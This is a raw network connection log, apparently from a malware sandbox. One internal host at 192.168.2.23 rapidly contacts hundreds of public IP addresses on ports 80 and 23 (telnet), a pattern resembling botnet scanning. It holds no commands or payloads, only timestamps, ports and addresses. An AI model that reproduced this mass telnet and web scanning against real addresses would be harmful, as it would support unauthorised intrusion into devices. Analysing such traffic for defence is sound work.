Dec 3, 2024 21:02:04.072976112 CET	20129	80	192.168.2.23	140.33.156.38
Dec 3, 2024 21:02:04.072977066 CET	20129	80	192.168.2.23	138.185.75.231
Dec 3, 2024 21:02:04.072993040 CET	20129	80	192.168.2.23	199.61.183.86
Dec 3, 2024 21:02:04.072993040 CET	20129	80	192.168.2.23	171.53.41.98
Dec 3, 2024 21:02:04.072999001 CET	20129	80	192.168.2.23	63.163.184.156
Dec 3, 2024 21:02:04.073000908 CET	20129	80	192.168.2.23	131.29.206.118
Dec 3, 2024 21:02:04.073000908 CET	20129	80	192.168.2.23	83.119.25.206
Dec 3, 2024 21:02:04.073015928 CET	20129	80	192.168.2.23	107.244.198.148
Dec 3, 2024 21:02:04.073016882 CET	20129	80	192.168.2.23	172.126.202.115
Dec 3, 2024 21:02:04.073016882 CET	20129	80	192.168.2.23	177.163.150.133
Dec 3, 2024 21:02:04.073020935 CET	20129	80	192.168.2.23	109.88.214.59
Dec 3, 2024 21:02:04.073020935 CET	20129	80	192.168.2.23	35.100.178.237
Dec 3, 2024 21:02:04.073024035 CET	20129	80	192.168.2.23	71.240.197.16
Dec 3, 2024 21:02:04.073031902 CET	20129	80	192.168.2.23	83.119.171.201
Dec 3, 2024 21:02:04.073044062 CET	20129	80	192.168.2.23	41.185.67.216
Dec 3, 2024 21:02:04.073045969 CET	20129	80	192.168.2.23	75.85.77.50
Dec 3, 2024 21:02:04.073049068 CET	20129	80	192.168.2.23	213.194.191.11
Dec 3, 2024 21:02:04.073057890 CET	20129	80	192.168.2.23	20.223.240.182
Dec 3, 2024 21:02:04.073100090 CET	20129	80	192.168.2.23	202.26.111.124
Dec 3, 2024 21:02:04.073101997 CET	20129	80	192.168.2.23	27.250.38.182
Dec 3, 2024 21:02:04.073102951 CET	20129	80	192.168.2.23	149.176.145.17
Dec 3, 2024 21:02:04.073102951 CET	20129	80	192.168.2.23	74.156.103.226
Dec 3, 2024 21:02:04.073102951 CET	20129	80	192.168.2.23	47.103.55.165
Dec 3, 2024 21:02:04.073118925 CET	20129	80	192.168.2.23	75.162.80.75
Dec 3, 2024 21:02:04.073120117 CET	20129	80	192.168.2.23	102.90.225.33
Dec 3, 2024 21:02:04.073120117 CET	20129	80	192.168.2.23	191.152.123.24
Dec 3, 2024 21:02:04.073122978 CET	20129	80	192.168.2.23	174.53.52.151
Dec 3, 2024 21:02:04.073122978 CET	20129	80	192.168.2.23	154.88.123.164
Dec 3, 2024 21:02:04.073122978 CET	20129	80	192.168.2.23	121.56.228.129
Dec 3, 2024 21:02:04.073123932 CET	20129	80	192.168.2.23	171.179.229.67
Dec 3, 2024 21:02:04.073123932 CET	20129	80	192.168.2.23	123.208.178.226
Dec 3, 2024 21:02:04.073126078 CET	20129	80	192.168.2.23	20.204.91.149
Dec 3, 2024 21:02:04.073126078 CET	20129	80	192.168.2.23	85.179.129.143
Dec 3, 2024 21:02:04.073132038 CET	20129	80	192.168.2.23	206.4.67.158
Dec 3, 2024 21:02:04.073132038 CET	20129	80	192.168.2.23	46.12.70.88
Dec 3, 2024 21:02:04.073132038 CET	20129	80	192.168.2.23	25.250.186.130
Dec 3, 2024 21:02:04.073137045 CET	20129	80	192.168.2.23	43.219.39.246
Dec 3, 2024 21:02:04.073137045 CET	20129	80	192.168.2.23	35.195.142.10
Dec 3, 2024 21:02:04.073137045 CET	20129	80	192.168.2.23	49.187.75.65
Dec 3, 2024 21:02:04.073137999 CET	20129	80	192.168.2.23	143.48.194.14
Dec 3, 2024 21:02:04.073139906 CET	20129	80	192.168.2.23	37.11.48.88
Dec 3, 2024 21:02:04.073139906 CET	20129	80	192.168.2.23	210.106.62.223
Dec 3, 2024 21:02:04.073141098 CET	20129	80	192.168.2.23	176.240.115.145
Dec 3, 2024 21:02:04.073143005 CET	20129	80	192.168.2.23	84.19.247.33
Dec 3, 2024 21:02:04.073143005 CET	20129	80	192.168.2.23	116.157.34.112
Dec 3, 2024 21:02:04.073143959 CET	20129	80	192.168.2.23	110.155.66.249
Dec 3, 2024 21:02:04.073143959 CET	20129	80	192.168.2.23	68.102.178.13
Dec 3, 2024 21:02:04.073143959 CET	20129	80	192.168.2.23	200.196.77.80
Dec 3, 2024 21:02:04.073154926 CET	20129	80	192.168.2.23	59.78.206.83
Dec 3, 2024 21:02:04.073154926 CET	20129	80	192.168.2.23	99.62.239.88
Dec 3, 2024 21:02:04.073156118 CET	20129	80	192.168.2.23	141.214.230.57
Dec 3, 2024 21:02:04.073154926 CET	20129	80	192.168.2.23	65.246.148.233
Dec 3, 2024 21:02:04.073156118 CET	20129	80	192.168.2.23	75.207.73.116
Dec 3, 2024 21:02:04.073158979 CET	20129	80	192.168.2.23	83.131.150.142
Dec 3, 2024 21:02:04.073158979 CET	20129	80	192.168.2.23	126.137.215.213
Dec 3, 2024 21:02:04.073158979 CET	20129	80	192.168.2.23	91.219.36.178
Dec 3, 2024 21:02:04.073158979 CET	20129	80	192.168.2.23	58.208.171.33
Dec 3, 2024 21:02:04.073168993 CET	20129	80	192.168.2.23	163.230.48.80
Dec 3, 2024 21:02:04.073168993 CET	20129	80	192.168.2.23	51.110.34.89
Dec 3, 2024 21:02:04.073169947 CET	20129	80	192.168.2.23	59.102.194.176
Dec 3, 2024 21:02:04.073169947 CET	20129	80	192.168.2.23	86.93.34.254
Dec 3, 2024 21:02:04.073169947 CET	20129	80	192.168.2.23	63.55.107.88
Dec 3, 2024 21:02:04.073169947 CET	20129	80	192.168.2.23	68.13.74.95
Dec 3, 2024 21:02:04.073169947 CET	20129	80	192.168.2.23	48.42.22.75
Dec 3, 2024 21:02:04.073169947 CET	20129	80	192.168.2.23	116.88.177.170
Dec 3, 2024 21:02:04.073177099 CET	20129	80	192.168.2.23	130.67.159.31
Dec 3, 2024 21:02:04.073177099 CET	20129	80	192.168.2.23	71.168.1.243
Dec 3, 2024 21:02:04.073177099 CET	20129	80	192.168.2.23	207.203.108.169
Dec 3, 2024 21:02:04.073179007 CET	20129	80	192.168.2.23	19.173.115.221
Dec 3, 2024 21:02:04.073177099 CET	20129	80	192.168.2.23	81.85.82.191
Dec 3, 2024 21:02:04.073179960 CET	20129	80	192.168.2.23	203.207.58.29
Dec 3, 2024 21:02:04.073182106 CET	20129	80	192.168.2.23	52.84.20.203
Dec 3, 2024 21:02:04.073182106 CET	20129	80	192.168.2.23	161.175.199.219
Dec 3, 2024 21:02:04.073184967 CET	20129	80	192.168.2.23	186.168.156.235
Dec 3, 2024 21:02:04.073187113 CET	20129	80	192.168.2.23	13.64.19.234
Dec 3, 2024 21:02:04.073189020 CET	20129	80	192.168.2.23	1.56.243.29
Dec 3, 2024 21:02:04.073189020 CET	20129	80	192.168.2.23	4.229.71.41
Dec 3, 2024 21:02:04.073190928 CET	20129	80	192.168.2.23	188.148.124.95
Dec 3, 2024 21:02:04.073190928 CET	20129	80	192.168.2.23	13.188.167.227
Dec 3, 2024 21:02:04.073194027 CET	20129	80	192.168.2.23	216.186.47.90
Dec 3, 2024 21:02:04.073195934 CET	80	45300	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:04.073195934 CET	20129	80	192.168.2.23	218.99.185.48
Dec 3, 2024 21:02:04.073199034 CET	20129	80	192.168.2.23	152.206.112.162
Dec 3, 2024 21:02:04.073205948 CET	20129	80	192.168.2.23	211.33.76.12
Dec 3, 2024 21:02:04.073209047 CET	80	55652	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:04.073218107 CET	20129	80	192.168.2.23	69.7.129.193
Dec 3, 2024 21:02:04.073220015 CET	20129	80	192.168.2.23	82.1.89.197
Dec 3, 2024 21:02:04.073220015 CET	20129	80	192.168.2.23	101.118.212.154
Dec 3, 2024 21:02:04.073223114 CET	20129	80	192.168.2.23	189.74.158.215
Dec 3, 2024 21:02:04.073229074 CET	45300	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:04.073242903 CET	20129	80	192.168.2.23	74.156.128.30
Dec 3, 2024 21:02:04.073244095 CET	20129	80	192.168.2.23	86.215.150.67
Dec 3, 2024 21:02:04.073276043 CET	20129	80	192.168.2.23	204.130.94.241
Dec 3, 2024 21:02:04.073277950 CET	20129	80	192.168.2.23	189.146.219.42
Dec 3, 2024 21:02:04.073278904 CET	20129	80	192.168.2.23	196.134.59.13
Dec 3, 2024 21:02:04.073278904 CET	20129	80	192.168.2.23	204.84.31.245
Dec 3, 2024 21:02:04.073281050 CET	55652	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:04.073283911 CET	20129	80	192.168.2.23	155.219.110.114
Dec 3, 2024 21:02:04.073291063 CET	20129	80	192.168.2.23	93.187.218.236
Dec 3, 2024 21:02:04.073298931 CET	20129	80	192.168.2.23	59.49.117.159
Dec 3, 2024 21:02:04.073306084 CET	20129	80	192.168.2.23	146.245.225.253
Dec 3, 2024 21:02:04.073308945 CET	20129	80	192.168.2.23	138.51.114.142
Dec 3, 2024 21:02:04.073318005 CET	20129	80	192.168.2.23	121.127.205.166
Dec 3, 2024 21:02:04.073319912 CET	80	50184	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:04.073323965 CET	20129	80	192.168.2.23	31.159.67.80
Dec 3, 2024 21:02:04.073328972 CET	20129	80	192.168.2.23	161.246.22.46
Dec 3, 2024 21:02:04.073338985 CET	20129	80	192.168.2.23	204.79.240.84
Dec 3, 2024 21:02:04.073344946 CET	20129	80	192.168.2.23	198.66.194.170
Dec 3, 2024 21:02:04.073348999 CET	20129	80	192.168.2.23	109.108.250.182
Dec 3, 2024 21:02:04.073355913 CET	20129	80	192.168.2.23	149.83.134.125
Dec 3, 2024 21:02:04.073362112 CET	20129	80	192.168.2.23	183.234.20.165
Dec 3, 2024 21:02:04.073370934 CET	20129	80	192.168.2.23	204.10.44.45
Dec 3, 2024 21:02:04.073380947 CET	20129	80	192.168.2.23	84.16.111.207
Dec 3, 2024 21:02:04.073389053 CET	20129	80	192.168.2.23	192.46.202.225
Dec 3, 2024 21:02:04.073391914 CET	20129	80	192.168.2.23	84.186.242.19
Dec 3, 2024 21:02:04.073396921 CET	20129	80	192.168.2.23	67.113.10.54
Dec 3, 2024 21:02:04.073400021 CET	20129	80	192.168.2.23	41.14.103.195
Dec 3, 2024 21:02:04.073406935 CET	80	50184	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:04.073415995 CET	20129	80	192.168.2.23	173.216.198.35
Dec 3, 2024 21:02:04.073422909 CET	20129	80	192.168.2.23	49.107.155.95
Dec 3, 2024 21:02:04.073431015 CET	20129	80	192.168.2.23	119.145.215.62
Dec 3, 2024 21:02:04.073431015 CET	20129	80	192.168.2.23	79.233.134.105
Dec 3, 2024 21:02:04.073431015 CET	20129	80	192.168.2.23	60.3.190.58
Dec 3, 2024 21:02:04.073446989 CET	20129	80	192.168.2.23	124.202.33.64
Dec 3, 2024 21:02:04.073448896 CET	20129	80	192.168.2.23	218.148.161.151
Dec 3, 2024 21:02:04.073452950 CET	20129	80	192.168.2.23	34.127.72.172
Dec 3, 2024 21:02:04.073461056 CET	20129	80	192.168.2.23	179.232.65.28
Dec 3, 2024 21:02:04.073471069 CET	20129	80	192.168.2.23	94.89.10.188
Dec 3, 2024 21:02:04.073474884 CET	20129	80	192.168.2.23	135.208.161.182
Dec 3, 2024 21:02:04.073477030 CET	20129	80	192.168.2.23	190.244.12.211
Dec 3, 2024 21:02:04.073488951 CET	20129	80	192.168.2.23	134.128.215.230
Dec 3, 2024 21:02:04.073489904 CET	20129	80	192.168.2.23	139.255.211.58
Dec 3, 2024 21:02:04.073489904 CET	20129	80	192.168.2.23	111.88.59.231
Dec 3, 2024 21:02:04.073501110 CET	20129	80	192.168.2.23	155.228.70.35
Dec 3, 2024 21:02:04.073501110 CET	20129	80	192.168.2.23	216.253.40.80
Dec 3, 2024 21:02:04.073518038 CET	20129	80	192.168.2.23	135.224.14.124
Dec 3, 2024 21:02:04.073518038 CET	20129	80	192.168.2.23	146.43.182.239
Dec 3, 2024 21:02:04.073520899 CET	20129	80	192.168.2.23	37.99.100.117
Dec 3, 2024 21:02:04.073532104 CET	20129	80	192.168.2.23	96.252.136.11
Dec 3, 2024 21:02:04.073534012 CET	20129	80	192.168.2.23	19.59.32.16
Dec 3, 2024 21:02:04.073534012 CET	20129	80	192.168.2.23	183.90.49.0
Dec 3, 2024 21:02:04.073551893 CET	20129	80	192.168.2.23	222.192.122.225
Dec 3, 2024 21:02:04.073554993 CET	20129	80	192.168.2.23	61.165.22.126
Dec 3, 2024 21:02:04.073554993 CET	20129	80	192.168.2.23	34.137.235.71
Dec 3, 2024 21:02:04.073559999 CET	80	50382	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:04.073560953 CET	20129	80	192.168.2.23	162.169.64.196
Dec 3, 2024 21:02:04.073563099 CET	20129	80	192.168.2.23	19.252.69.199
Dec 3, 2024 21:02:04.073570013 CET	20129	80	192.168.2.23	207.52.57.177
Dec 3, 2024 21:02:04.073580027 CET	20129	80	192.168.2.23	58.225.125.243
Dec 3, 2024 21:02:04.073582888 CET	20129	80	192.168.2.23	136.48.251.21
Dec 3, 2024 21:02:04.073582888 CET	20129	80	192.168.2.23	88.57.111.181
Dec 3, 2024 21:02:04.073597908 CET	20129	80	192.168.2.23	67.81.33.162
Dec 3, 2024 21:02:04.073601007 CET	20129	80	192.168.2.23	165.189.196.65
Dec 3, 2024 21:02:04.073604107 CET	20129	80	192.168.2.23	133.141.91.1
Dec 3, 2024 21:02:04.073606968 CET	20129	80	192.168.2.23	118.167.194.135
Dec 3, 2024 21:02:04.073611021 CET	20129	80	192.168.2.23	65.84.2.142
Dec 3, 2024 21:02:04.073627949 CET	20129	80	192.168.2.23	220.20.80.219
Dec 3, 2024 21:02:04.073632002 CET	20129	80	192.168.2.23	35.10.0.67
Dec 3, 2024 21:02:04.073632956 CET	20129	80	192.168.2.23	156.77.248.59
Dec 3, 2024 21:02:04.073641062 CET	20129	80	192.168.2.23	67.145.86.32
Dec 3, 2024 21:02:04.073651075 CET	20129	80	192.168.2.23	53.123.100.4
Dec 3, 2024 21:02:04.073652983 CET	20129	80	192.168.2.23	114.229.99.244
Dec 3, 2024 21:02:04.073654890 CET	20129	80	192.168.2.23	121.150.131.86
Dec 3, 2024 21:02:04.073662043 CET	20129	80	192.168.2.23	197.2.105.106
Dec 3, 2024 21:02:04.073673010 CET	20129	80	192.168.2.23	78.120.152.245
Dec 3, 2024 21:02:04.073676109 CET	20129	80	192.168.2.23	180.48.223.7
Dec 3, 2024 21:02:04.073678970 CET	20129	80	192.168.2.23	142.201.110.42
Dec 3, 2024 21:02:04.073681116 CET	20129	80	192.168.2.23	205.56.147.106
Dec 3, 2024 21:02:04.073693037 CET	20129	80	192.168.2.23	174.216.148.143
Dec 3, 2024 21:02:04.073697090 CET	20129	80	192.168.2.23	135.8.181.24
Dec 3, 2024 21:02:04.073700905 CET	20129	80	192.168.2.23	63.120.10.16
Dec 3, 2024 21:02:04.073709965 CET	20129	80	192.168.2.23	176.21.20.22
Dec 3, 2024 21:02:04.073710918 CET	20129	80	192.168.2.23	24.47.22.123
Dec 3, 2024 21:02:04.073717117 CET	20129	80	192.168.2.23	48.78.26.231
Dec 3, 2024 21:02:04.073724985 CET	20129	80	192.168.2.23	156.220.131.82
Dec 3, 2024 21:02:04.073728085 CET	20129	80	192.168.2.23	77.197.64.190
Dec 3, 2024 21:02:04.073730946 CET	20129	80	192.168.2.23	59.13.119.248
Dec 3, 2024 21:02:04.073743105 CET	20129	80	192.168.2.23	32.139.161.56
Dec 3, 2024 21:02:04.073745966 CET	20129	80	192.168.2.23	70.155.77.65
Dec 3, 2024 21:02:04.073755026 CET	20129	80	192.168.2.23	137.194.105.168
Dec 3, 2024 21:02:04.073761940 CET	20129	80	192.168.2.23	54.255.195.56
Dec 3, 2024 21:02:04.073764086 CET	20129	80	192.168.2.23	100.180.52.82
Dec 3, 2024 21:02:04.073777914 CET	20129	80	192.168.2.23	111.43.209.197
Dec 3, 2024 21:02:04.073786020 CET	20129	80	192.168.2.23	19.157.221.228
Dec 3, 2024 21:02:04.073796988 CET	20129	80	192.168.2.23	216.97.45.24
Dec 3, 2024 21:02:04.073801041 CET	20129	80	192.168.2.23	114.165.51.234
Dec 3, 2024 21:02:04.073884964 CET	20129	80	192.168.2.23	179.157.133.158
Dec 3, 2024 21:02:04.073887110 CET	20129	80	192.168.2.23	182.87.154.31
Dec 3, 2024 21:02:04.073887110 CET	20129	80	192.168.2.23	89.108.230.86
Dec 3, 2024 21:02:04.073887110 CET	20129	80	192.168.2.23	197.18.21.222
Dec 3, 2024 21:02:04.073888063 CET	20129	80	192.168.2.23	20.3.177.14
Dec 3, 2024 21:02:04.073888063 CET	20129	80	192.168.2.23	66.78.241.82
Dec 3, 2024 21:02:04.073887110 CET	20129	80	192.168.2.23	44.38.12.82
Dec 3, 2024 21:02:04.073888063 CET	20129	80	192.168.2.23	196.41.24.95
Dec 3, 2024 21:02:04.073887110 CET	20129	80	192.168.2.23	89.185.80.80
Dec 3, 2024 21:02:04.073892117 CET	20129	80	192.168.2.23	105.187.168.87
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	158.92.104.58
Dec 3, 2024 21:02:04.073888063 CET	20129	80	192.168.2.23	172.204.70.2
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	122.169.227.80
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	4.15.165.252
Dec 3, 2024 21:02:04.073888063 CET	20129	80	192.168.2.23	97.168.69.22
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	174.78.109.158
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	45.227.105.212
Dec 3, 2024 21:02:04.073888063 CET	20129	80	192.168.2.23	60.210.126.40
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	94.63.151.195
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	208.226.115.157
Dec 3, 2024 21:02:04.073896885 CET	20129	80	192.168.2.23	222.224.161.137
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	49.250.56.124
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	201.45.239.93
Dec 3, 2024 21:02:04.073894024 CET	20129	80	192.168.2.23	99.93.171.187
Dec 3, 2024 21:02:04.073888063 CET	20129	80	192.168.2.23	98.252.130.5
Dec 3, 2024 21:02:04.073894024 CET	20129	80	192.168.2.23	175.154.176.30
Dec 3, 2024 21:02:04.073893070 CET	20129	80	192.168.2.23	70.126.26.15
Dec 3, 2024 21:02:04.073896885 CET	20129	80	192.168.2.23	133.23.130.21
Dec 3, 2024 21:02:04.073894024 CET	20129	80	192.168.2.23	145.128.188.128
Dec 3, 2024 21:02:04.073896885 CET	20129	80	192.168.2.23	207.147.60.41
Dec 3, 2024 21:02:04.073894024 CET	20129	80	192.168.2.23	219.246.226.58
Dec 3, 2024 21:02:04.073896885 CET	20129	80	192.168.2.23	221.195.101.45
Dec 3, 2024 21:02:04.073896885 CET	20129	80	192.168.2.23	183.231.175.20
Dec 3, 2024 21:02:04.073896885 CET	45300	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:04.073896885 CET	50382	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:04.073896885 CET	50382	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:04.074254036 CET	80	55652	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:04.074352026 CET	80	55652	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:04.074402094 CET	80	55858	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:04.074445963 CET	55858	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:04.074469090 CET	55858	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:04.081762075 CET	23	46594	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:04.082058907 CET	23	46634	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:04.082114935 CET	46634	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:04.082448959 CET	23	34766	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:04.082505941 CET	23	19873	179.90.159.218	192.168.2.23
Dec 3, 2024 21:02:04.082510948 CET	34766	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:04.082550049 CET	19873	23	192.168.2.23	179.90.159.218
Dec 3, 2024 21:02:04.082818031 CET	34800	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:04.083359003 CET	45602	23	192.168.2.23	179.90.159.218
Dec 3, 2024 21:02:04.085131884 CET	23	46972	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:04.085280895 CET	40650	23	192.168.2.23	135.105.91.37
Dec 3, 2024 21:02:04.085283995 CET	39026	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:04.085283995 CET	58516	23	192.168.2.23	216.74.153.9
Dec 3, 2024 21:02:04.104702950 CET	23	47096	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:04.104779005 CET	47096	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:04.105051041 CET	47306	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:04.110728979 CET	23	54138	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:04.110766888 CET	23	60194	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:04.110778093 CET	54138	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:04.110805035 CET	23	53454	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:04.110810041 CET	60194	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:04.110845089 CET	53454	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:04.115647078 CET	23	48254	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:04.115998983 CET	23	48294	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:04.116040945 CET	48294	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:04.116187096 CET	23	48110	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:04.129461050 CET	23	44176	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:04.129698038 CET	23	44404	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:04.129771948 CET	44404	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:04.136677980 CET	23	32772	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:04.136931896 CET	23	32814	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:04.136980057 CET	32814	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:04.148478031 CET	23	50560	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:04.148549080 CET	50560	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:04.149823904 CET	23	50358	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:04.151652098 CET	50596	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:04.151999950 CET	50358	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:04.152259111 CET	50394	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:04.181299925 CET	42516	80	192.168.2.23	109.202.202.202
Dec 3, 2024 21:02:04.182651043 CET	23	37256	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:04.182723999 CET	37256	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:04.183072090 CET	37292	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:04.188194990 CET	23	41788	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:04.188268900 CET	41788	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:04.188575983 CET	41824	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:04.188857079 CET	23	60774	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:04.189263105 CET	60774	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:04.189842939 CET	60774	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:04.190124035 CET	60810	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:04.193135023 CET	80	20129	12.134.175.231	192.168.2.23
Dec 3, 2024 21:02:04.193196058 CET	20129	80	192.168.2.23	12.134.175.231
Dec 3, 2024 21:02:04.193226099 CET	80	20129	58.31.21.36	192.168.2.23
Dec 3, 2024 21:02:04.193238020 CET	80	20129	76.193.203.19	192.168.2.23
Dec 3, 2024 21:02:04.193253040 CET	80	20129	161.95.100.237	192.168.2.23
Dec 3, 2024 21:02:04.193264008 CET	80	20129	72.84.245.2	192.168.2.23
Dec 3, 2024 21:02:04.193274975 CET	80	42234	190.72.224.255	192.168.2.23
Dec 3, 2024 21:02:04.193279982 CET	20129	80	192.168.2.23	58.31.21.36
Dec 3, 2024 21:02:04.193284988 CET	80	50184	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:04.193288088 CET	20129	80	192.168.2.23	76.193.203.19
Dec 3, 2024 21:02:04.193291903 CET	20129	80	192.168.2.23	161.95.100.237
Dec 3, 2024 21:02:04.193309069 CET	42234	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:04.193310022 CET	20129	80	192.168.2.23	72.84.245.2
Dec 3, 2024 21:02:04.193563938 CET	80	55652	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:04.193861008 CET	80	45300	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:04.193902016 CET	45300	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:04.194140911 CET	80	45300	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:04.194251060 CET	80	50382	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:04.194291115 CET	50382	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:04.194645882 CET	80	55858	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:04.194684982 CET	55858	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:04.194693089 CET	80	55858	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:04.202404022 CET	23	46634	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:04.202469110 CET	46634	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:04.202754974 CET	46662	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:04.202774048 CET	23	34766	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:04.202964067 CET	23	34800	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:04.203000069 CET	34800	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:04.213263035 CET	56872	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:04.224793911 CET	23	47096	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:04.224916935 CET	23	47306	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:04.224961996 CET	47306	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:04.231714964 CET	23	54138	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:04.231775999 CET	54138	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:04.231965065 CET	23	60194	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:04.232069016 CET	54342	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:04.232165098 CET	23	53454	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:04.232608080 CET	53454	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:04.232898951 CET	54022	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:04.233263016 CET	60194	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:04.233299017 CET	60194	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:04.233555079 CET	60398	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:04.236216068 CET	23	48294	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:04.236268997 CET	48294	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:04.236515999 CET	48326	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:04.245261908 CET	40584	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:04.250422955 CET	23	44404	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:04.250504017 CET	44404	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:04.250798941 CET	44434	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:04.257580042 CET	23	32814	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:04.257657051 CET	32814	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:04.257936001 CET	32844	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:04.269032955 CET	23	50560	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:04.272311926 CET	23	50596	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:04.272357941 CET	50596	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:04.272609949 CET	23	50358	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:04.272955894 CET	23	50394	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:04.273016930 CET	50394	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:04.303586006 CET	23	37256	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:04.303842068 CET	23	37292	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:04.303891897 CET	37292	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:04.308470011 CET	23	41788	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:04.308854103 CET	23	41824	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:04.308902979 CET	41824	23	192.168.2.23	151.87.142.180
